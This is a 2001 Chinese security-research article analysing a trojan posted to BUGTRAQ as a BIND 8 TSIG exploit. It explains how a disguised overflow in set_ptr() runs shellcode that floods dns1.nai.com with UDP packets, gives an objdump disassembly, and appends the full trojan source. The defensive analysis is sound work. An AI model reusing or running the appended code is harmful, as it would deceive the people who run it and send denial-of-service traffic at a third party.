首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第18期->技术专题
期刊号: 类型: 关键词:
BIND 8 exploit 木马程序简析

作者:warning3 < mailto: warning3@nsfocus.com >
主页:http://www.nsfocus.com
日期:2001-02-05

NAI公司的COVERT安全小组发现BIND 8中有一个严重的远程安全漏洞。详细分析
见我们网站上的:
"ISC Bind 8 TSIG缓冲区溢出漏洞"
[url]http://security.nsfocus.com/showQuery.asp?bugID=1230[/url]

BUGTRAQ上马上有人匿名发送了一个所谓针对BIND 8的exploit代码(见附录)。
实际这是一个木马程序。它利用自己构造的一个溢出来执行shellcode,去攻击
dns1.nai.com(NAI的域名服务器)。

相当多的BUGTRAQ用户在下载了这个程序后,没有仔细分析就运行了它,导致NAI的
域名服务器受到"分布式"(套用一下名词)拒绝服务攻击,一度不能正常工作。

其实这种冒充exploit的木马程序并不鲜见。

以前就有一个冒充apache 1.3.4远程exploit的程序:
http://packetstorm.securify.com/trojans/apache.c

不过这个程序比较好识破,因为它的shellcode中实际上就是shell命令的一些16
进制数值,而且在程序的最后,使用一条相当显眼的语句执行shellcode:

execl("/bin/sh", "sh", "-c", shellcode, 0);

而这次的这个程序代码比较长,很多地方做得比较逼真,shellcode也是真正的
汇编代码,只是在中间一个不起眼的地方进行一个函数调用时,程序会发生溢出,
转去执行shellcode了。

很多人很难相信别人会花这么大的精力来设计一个木马程序,再加上代码做的相
当逼真,木马入口又比较隐蔽,因此上当的人不在少数。

下面让我们简单分析一下这个木马程序,看看它的真面目。

有问题的函数是set_ptr():

int
set_ptr(char *buff, int offset, unsigned long val, int s)
{
char            copy_buff[1024];
int             revval;

memcpy(copy_buff, buff, 1024);
revval = buff[SHELL_OFFSET_1];
/* increment record usage count */
revval += BIND_OFF_01;
if (s)
  if (!fork())
   /* simply copy value to offset */
   memcpy(©_buff[offset], &val, sizeof(val));
memcpy(buff, copy_buff, sizeof(copy_buff));
return 0;
}

这个函数其实没有做什么工作,只是将buff的内容拷贝到copy_buff,然后又从
copy_buff中拷回buff.只是在s的值不为零时,程序会fork()出一个子进程,
然后做了一个可疑的拷贝,将val的值(4个字节)拷贝到了copy_buff[offset]中,
我们看到copy_buff的大小是1024,如果offset的值大于1024,那么就可能发生溢出。

而跟踪一下set_ptr被调用的情况,会发现只有main()函数中的第287行附近的一
个调用,参数s的值不为零:

set_ptr(shellcode, BIND_OFF_02, (unsigned long) shellcode, 1);

这里的val值就是shellcode的地址,而BIND_OFF_02在开头被定义:

#define BIND_OFF_02 ((BIND_PKT_OFF*(SHELL_OFFSET_2+8))+BIND_OKT_SZ)

我们看到程序开头有一堆宏定义,目的就是让人搞不清楚这些宏到底是些什么意
思。

#define SHELL_OFFSET_1    26
#define SHELL_OFFSET_2    31
#define BIND_PKT_OFF    26    /* offset from beginning of packet */
#define BIND_OKT_SZ     14    /* rr */
#define BIND_OFF_01 (BIND_PKT_OFF+BIND_OKT_SZ)/2
#define BIND_OFF_02 ((BIND_PKT_OFF*(SHELL_OFFSET_2+8))+BIND_OKT_SZ)
#define BIND_OFF_03 (SHELL_OFFSET_1*2)
#define BIND_OFF_04 ((SHELL_OFFSET_2*2) - 1)

BIND_OFF_02的宏定义看起来比较复杂,实际上是欺骗人的把戏,我开始一看这
里就头大了,搞不清楚怎么会有这么复杂的计算公式。:)而实际计算一下就得到:

BIND_OFF_02 = 26*(31 + 8) + 14 = 1028

这样shellcode的地址就会被拷贝到 copy_buff[1028]处,这实际上就是set_ptr()
函数在堆栈中保存的返回地址的地方。因此在执行set_ptr()函数时,程序发生了
溢出,程序流程转向shellcode.

而shellcode中实际上有两部分构成,一部分是dns_packet[]中,一部分在
linux_shellcode[]中。

反汇编shellcode的结果显示,dns_packet[]中的代码只是执行了一个time(0),
而linux_shellcode[]中的shellcode则循环往161.69.3.150的UDP 53端口发送
1024字节的报文。这个地址实际上是dns1.nai.com,看来是这个exploit的作者
想给NAI搞一个恶作剧.因为如果shellcode里做一些其他的手脚,后果可能就
更为严重了。

下面是用objdump反汇编shellcode得到的结果:

0804aa20 <dns_packet>:
804aa20:       31 c0                   xorl   %eax,%eax
804aa22:       48                      decl   %eax
804aa23:       50                      pushl  %eax
804aa24:       50                      pushl  %eax
804aa25:       31 db                   xorl   %ebx,%ebx
804aa27:       8d 05 0d 00 00 00       leal   0xd,%eax
804aa2d:       cd 80                   int    $0x80     # time(0)
804aa2f:       83 c4 08                addl   $0x8,%esp
804aa32:       3d 04 03 02 01          cmpl   $0x1020304,%eax
804aa37:       7c 05                   jl     804aa3e <dns_packet+0x1e>
804aa39:       e8 54 53 49 47          call   4f4dfd92 <_end+0x47495046>
                  'T''S''I''G'
804aa3e:       e8 4e 41 4d 45          call   4d51eb91 <_end+0x454d3e45>
                  'N''A''M''E'
804aa43:       e8 53 49 47 4e          call   564bf39b <_end+0x4e47464f>
                  'S''I''G''N'
804aa48:       41  'A'                 incl   %ecx
804aa49:       54  'T'                 pushl  %esp
804aa4a:       55  'U'                 pushl  %ebp
804aa4b:       52  'R'                 pushl  %edx
804aa4c:       45  'E'                 incl   %ebp
804aa4d:       e8 52 53 41 00          call   845fda4 <_end+0x415058>
                  'R''S' 'A'

0804aa60 <linux_shellcode>:
804aa60:       eb 34                   jmp    804aa96 <linux_shellcode+0x36>
# socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP)
804aa62:       5e                      popl   %esi
804aa63:       bb 01 00 00 00          movl   $0x1,%ebx
804aa68:       89 f1                   movl   %esi,%ecx
804aa6a:       b8 66 00 00 00          movl   $0x66,%eax
804aa6f:       cd 80                   int    $0x80      
# sendto(fd, buf, 1024, 0, {sin_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("161.69.3.150")}, 16)
804aa71:       89 46 14                movl   %eax,0x14(%esi)
804aa74:       8d 46 30                leal   0x30(%esi),%eax
804aa77:       89 46 18                movl   %eax,0x18(%esi)
804aa7a:       31 c0                   xorl   %eax,%eax
804aa7c:       89 46 20                movl   %eax,0x20(%esi)
804aa7f:       8d 46 0c                leal   0xc(%esi),%eax
804aa82:       89 46 24                movl   %eax,0x24(%esi)
# 循环执行sendto()
804aa85:       b8 66 00 00 00          movl   $0x66,%eax
804aa8a:       bb 0b 00 00 00          movl   $0xb,%ebx
804aa8f:       8d 4e 14                leal   0x14(%esi),%ecx  
804aa92:       cd 80                   int    $0x80
804aa94:       eb ef                   jmp    804aa85 <linux_shellcode+0x25>
804aa96:       e8 c7 ff ff ff          call   804aa62 <linux_shellcode+0x2>
804aa9b:       02 00 00 00
804aa9f:       02 00 00 00
804aaa3:       11 00 00 00
804aaa7:       02 00
804aaa9:       00 35 a1 45 03 96        0xa1 0x45 0x03 0x96 = 161.69.3.150 = dns1.nai.com
804aaaf:       ff ff ff ff ef
804aab4:       ff ff ff 00
804aab8:       04 00 00 00
804aabc:       00 00 00 02
804aac0:       5f 9a 80 10 00 00 00
804aac8:       2f 62 69 6e 2f 73 68      "/bin/sh"

结束语:要想不上这种木马程序的当,在拿到一个exploit程序时,应当首先分
析其shellcode代码(如果有的话),再仔细查看程序代码,分析意图,查找可疑
的函数或者调用(例如system(),exec*()等等)。

<完>

附木马程序:
From Anonymous <nobody@replay.com> Wed Jan 31 18:06:24 2001
Date: Thu, 31 Jan 2001 18:06:19 -0400
From: Anonymous <nobody@replay.com>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: Bind8 exploit
Message-ID: <C5119AD12E92D311928E009027DE4CCA554903@replay.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Mailer: Internet Mail Service (5.5.2650.21)


/*
* Implements TSIG buffer mismanagement overflow for incorrect signatures. That
* one was really nice bug!
* Thanks NAI for nice bug!
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <string.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netdb.h>
#include <signal.h>

#ifndef max
#define max(x,y) (((x)>(y))?(x):(y))
#endif

#define SHELL_OFFSET_1    26
#define SHELL_OFFSET_2    31
#define BIND_PKT_OFF    26    /* offset from beginning of packet */
#define BIND_OKT_SZ     14    /* rr */
#define BIND_OFF_01 (BIND_PKT_OFF+BIND_OKT_SZ)/2
#define BIND_OFF_02 ((BIND_PKT_OFF*(SHELL_OFFSET_2+8))+BIND_OKT_SZ)
#define BIND_OFF_03 (SHELL_OFFSET_1*2)
#define BIND_OFF_04 ((SHELL_OFFSET_2*2) - 1)

char            dns_packet[] =
/* TSIG bind req, \xe8 used as field separator. */
"\x31\xc0\x48\x50\x50\x31\xdb\x8d\x05\x0d\x00\x00\x00\xcd\x80\x83"
"\xc4\x08\x3d\x04\x03\x02\x01\x7c\x05\xe8TSIG\xe8NAME\xe8SIGNATURE\xe8RSA\0";

/* zeroes in all shellcodes are allowed - we encode them anyway.. */
char            linux_shellcode[] =    /* modifyed Aleph1 linux shellcode to
                     * bind to tcp port 31338. hey aleph1
                     * :) */
"\xeb\x34\x5e\xbb\x01\x00\x00\x00\x89\xf1\xb8\x66\x00\x00\x00\xcd"
"\x80\x89\x46\x14\x8d\x46\x30\x89\x46\x18\x31\xc0\x89\x46\x20\x8d"
"\x46\x0c\x89\x46\x24\xb8\x66\x00\x00\x00\xbb\x0b\x00\x00\x00\x8d"
"\x4e\x14\xcd\x80\xeb\xef\xe8\xc7\xff\xff\xff\x02\x00\x00\x00\x02"
"\x00\x00\x00\x11\x00\x00\x00\x02\x00\x00\x35\xa1\x45\x03\x96\xff"
"\xff\xff\xff\xef\xff\xff\xff\x00\x04\x00\x00\x00\x00\x00\x00\x02"
"\x5f\x9a\x80\x10\x00\x00\x00/bin/sh\0";

char            bsd_shellcode[] =
/* freebsd bind shellcode by LaMerZ , thnx :) */
"\xeb\x37\x5e\x6a\x11\x6a\x02\x6a\x02\x6a\x66\x8d\x05\x61\x00\x00"
"\x00\xcd\x80\x89\xc2\x6a\x10\x89\xf0\x50\x31\xc0\x50\x68\x24\x10"
"\x00\x00\x8d\x46\x0f\x50\x52\x68\x88\x00\x00\x00\x8d\x05\x85\x00"
"\x00\x00\xcd\x80\x83\xc4\x1c\xeb\xdc\xe8\xc4\xff\xff\xff\x00\x02"
"\x00\x35\xa1\x45\x03\x96\xe8\xb1\xff\xff\xff/bin/sh\0";

struct remote {
    char           *osname;
    char           *bindver;
    unsigned long   ret;    /* return addr */
    unsigned long   otebp;    /* offset ot %ebp,bind specific */
    char           *shellcode;
}               remote[] = {
    {
        "Linux RedHat 6.0", "8.2.x", 0xbfff0508, 104, linux_shellcode
    },
    {
        "Linux RedHat 6.2", "8.2.x", 0xbfff0a04, 80, linux_shellcode
    },
    {
        "Linux RedHat 7.0", "8.2.x", 0xbfff040a, 84, linux_shellcode
    },
    {
        "Linux Slackware 7", "8.2.x", 0xbfffe123, 20, linux_shellcode
    },
    {
        "Linux Debian (all)", "8.2.x", 0xbfffd0aa, 110, linux_shellcode
    },
    {
        "FreeBSD 3.4", "8.2.x", 0xbfbfa101, -10, bsd_shellcode
    },
    {
        "FreeBSD 3.5", "8.2.x", 0xbfbfc09a, -10, bsd_shellcode
    },
    {
        "FreeBSD 4.x", "8.2.x", 0xbfbffe01, -40, bsd_shellcode
    },
    {
        NULL, NULL, 0, 0
    }
};

void
usage_func(char *pname)
{
    int             i;

    fprintf(stderr, "Usage: %s remote_addr domainname target_id\n", pname);
    fprintf(stderr, "Targets:\n");
    for (i = 0; remote[i].osname; i++)
        fprintf(stderr, " %d - %s (%s)\n", i, remote[i].osname, remote[i].bindver);
    fprintf(stderr, "\n");
    fprintf(stderr, " Example usage:\n");
    fprintf(stderr, "$ host -t ns domain.com\n");
    fprintf(stderr, "domain.com name server dns1.domain.com\n");
    fprintf(stderr, "$ ./bind8_ex dns1.domain.com domain.com 0\n");
    fprintf(stderr, " [..expl output..]\n\n");
    exit(1);
}


int
set_ptr(char *buff, int offset, unsigned long val, int s)
{
    char            copy_buff[1024];
    int             revval;

    memcpy(copy_buff, buff, 1024);
    revval = buff[SHELL_OFFSET_1];
    /* increment record usage count */
    revval += BIND_OFF_01;
    if (s)
        if (!fork())
            /* simply copy value to offset */
            memcpy(©_buff[offset], &val, sizeof(val));
    memcpy(buff, copy_buff, sizeof(copy_buff));
    return 0;
}

unsigned long
Resolve(char *h)
{
    struct in_addr  q;
    struct hostent *z;

    if ((inet_aton(h, &q)) == 0) {
        z = gethostbyname(h);

        if (!z)
            return -1;

        (void) memcpy((void *) &q, (void *) z->h_addr, z->h_length);
    }
    return q.s_addr;
}

/* pull out a compressed query name */
char           *
dnsprintflabel(char *s, char *buf, char *p)
{
    unsigned short  i, len;
    char           *b = NULL;
    len = (unsigned short) *(p++);
    i = len + BIND_PKT_OFF;
    /* invalid length? */
    if (i)
        return NULL;
    while (len) {
        while (len >= 0xC0) {
            if (!b)
                b = p + 1;
            p = buf + (ntohs(*((unsigned short *) (p - 1))) & ~0xC000);
            len = (unsigned short) *(p++);
        }
        for (i = 0; i < len; i++)
            *(s++) = *(p++);
        *(s++) = '.';
        len = (unsigned short) *(p++);
    }
    *(s++) = 0;
    if (b)
        return (b);
    return (p);
}

int
proxyloop(int s)
{
    char            snd[1024], rcv[1024];
    fd_set          rset;
    int             maxfd, n;
    sleep(1);
    printf("Entering proxyloop..\n");
    strcpy(snd, "cd /; uname -a; pwd; id;\n");
    write(s, snd, strlen(snd));
    for (;;) {
        FD_SET(fileno(stdin), &rset);
        FD_SET(s, &rset);
        maxfd = max(fileno(stdin), s) + 1;
        select(maxfd, &rset, NULL, NULL, NULL);
        if (FD_ISSET(fileno(stdin), &rset)) {
            bzero(snd, sizeof(snd));
            fgets(snd, sizeof(snd) - 2, stdin);
            write(s, snd, strlen(snd));
        }
        if (FD_ISSET(s, &rset)) {
            bzero(rcv, sizeof(rcv));
            if ((n = read(s, rcv, sizeof(rcv))) == 0)
                exit(0);
            if (n < 0) {
                return -3;
            }
            fputs(rcv, stdout);
        }
    }
    return 0;
}

int
main(int argc, char *argv[])
{
    HEADER         *dnsheader;
    struct sockaddr_in to;
    char            expl_buffer[PACKETSZ + 8192];
    int             off, i, x;
    char            ch, *remote_addr = NULL, *dmn = NULL;
    char           *walker;
    unsigned char  *shellcode;
    int             align = 0;
    unsigned long   remote_ip, addr;
    int             saved_len_1, saved_len_2;
    int             type = -1;
    int             fd, fd2;

    if (argc != 4) {
        usage_func(argv[0]);
    }
    dmn = strdup(argv[1]);
    remote_addr = strdup(argv[2]);
    type = atoi(argv[3]);

    if (type < 0 || !remote_addr || !dmn) {
        usage_func(argv[0]);
    }
    printf(" [+] Trying to resolve %s ...\n", remote_addr);
    remote_ip = Resolve(remote_addr);

    if (remote_ip == -1) {
        fprintf(stderr, " [-] failed to resolve %s\n", remote_addr);
        exit(1);
    } else {
        printf(" [+] %s -> %#lx...\n", remote_addr, remote_ip);
    }
    /* block signal to allow these signals in bindshell */
    signal(SIGHUP, SIG_IGN);
    signal(SIGCHLD, SIG_IGN);    /* well.. */
    signal(SIGINT, SIG_IGN);

    printf(" [+] Remote OS %s, using domain %s\n", remote[type].osname, dmn);
    printf(" [+] Offset: 0x%08x, bind specific value: %d\n", remote[type].ret, remote[type].otebp);
    shellcode = (unsigned char *) malloc(PACKETSZ + 8192);
    memset(shellcode, 0x90, PACKETSZ);

    addr = remote[type].ret;

    for (i = 0; i < sizeof(dns_packet); i++)
        shellcode[i] = dns_packet[i];

    if (i > 0) {
        saved_len_1 = i;
    }
    for (x = 0; x < sizeof(linux_shellcode); i++, x++)
        shellcode[i] = linux_shellcode[x];

    if (i) {
        saved_len_2 = i;
    }
    for (x = 0; x < sizeof(bsd_shellcode); i++, x++)
        shellcode[i] = bsd_shellcode[x];

    /* encode offset */
    addr = (unsigned long) saved_len_1 - SHELL_OFFSET_1 - 4;
    shellcode[SHELL_OFFSET_1 + 3] = (addr >> 24) & 0xff;
    shellcode[SHELL_OFFSET_1 + 2] = (addr >> 16) & 0xff;
    shellcode[SHELL_OFFSET_1 + 1] = (addr >> 8) & 0xff;
    shellcode[SHELL_OFFSET_1] = (addr) & 0xff;
    addr = (unsigned long) saved_len_2 - SHELL_OFFSET_2 - 4;
    shellcode[SHELL_OFFSET_2 + 3] = (addr >> 24) & 0xff;
    shellcode[SHELL_OFFSET_2 + 2] = (addr >> 16) & 0xff;
    shellcode[SHELL_OFFSET_2 + 1] = (addr >> 8) & 0xff;
    shellcode[SHELL_OFFSET_2] = (addr) & 0xff;

    printf(" [+] shellcode length: %d\n", i);
    /*
     * now build packet
     * set pointer to itself. dont modify BIND_OFF_02, it was
     * bruteforced.. and worked with every bind i sploited.
     */
    set_ptr(shellcode, BIND_OFF_02, (unsigned long) shellcode, 1);
    /* setup tsig info */
    set_ptr(shellcode, BIND_OFF_01, SHELL_OFFSET_2, 0);
    /* count of records */
    if (i > (SHELL_OFFSET_2 - 10)) {
        set_ptr(shellcode, BIND_OFF_03, i, 0);
    } else {
        i += (SHELL_OFFSET_2 / 2);
        i -= (SHELL_OFFSET_2 % 2);    /* thnx enr1qe! :) */
        set_ptr(shellcode, BIND_OFF_03, i, 0);
    }
    /* store return ADDR !! */
    set_ptr(shellcode, BIND_OFF_04, remote[type].ret + (i * remote[type].otebp), 0);

    /* copy and rebuild packet depended stuff */
    memcpy(expl_buffer, shellcode, PACKETSZ);
    dnsheader = (HEADER *) & expl_buffer;
    memset(dnsheader, 0, sizeof(HEADER));
    dnsheader->id = htons(getpid());
    dnsheader->qr = 1;
    dnsheader->aa = 1;
    /* tsig query! */
    dnsheader->opcode = QUERY;
    dnsheader->qdcount = htons(1);
    dnsheader->arcount = htons(1);
    /*
     * encode packet ...
     */
    dnsprintflabel(remote_addr, (char *) (expl_buffer + sizeof(HEADER)), (char *) ((unsigned long) &expl_buffer[0] + sizeof(HEADER) + 1));
    walker = (char *) dnsheader + sizeof(HEADER) + strlen(remote_addr);
    PUTSHORT(T_SIG, walker);

    /*
     * packet is built, connect and sent shellcode. what can be easier?
     * :)
     */
    if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
        perror("socket");
        exit(1);
    }
    memset(&to, 0, sizeof(to));
    to.sin_family = AF_INET;
    to.sin_port = htons(53);
    to.sin_addr.s_addr = remote_ip;

    if ((sendto(fd, &expl_buffer, PACKETSZ, 0, (struct sockaddr *) & to, sizeof(struct sockaddr)) != PACKETSZ)) {
        perror("sendto");
        exit(1);
    }
    /* attempt to connect to bindshell on port 31338 */

    if ((fd2 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
        perror("socket");
        exit(1);
    }
    /* linux & freebsd shellcodes bindport is same, so dont even check. */
    to.sin_port = htons(31338);

    if (connect(fd2, (struct sockaddr *) & to, sizeof(struct sockaddr)) < 0) {
        perror("connect");
        exit(1);
    }
    proxyloop(fd2);
}
版权所有,未经许可,不得转载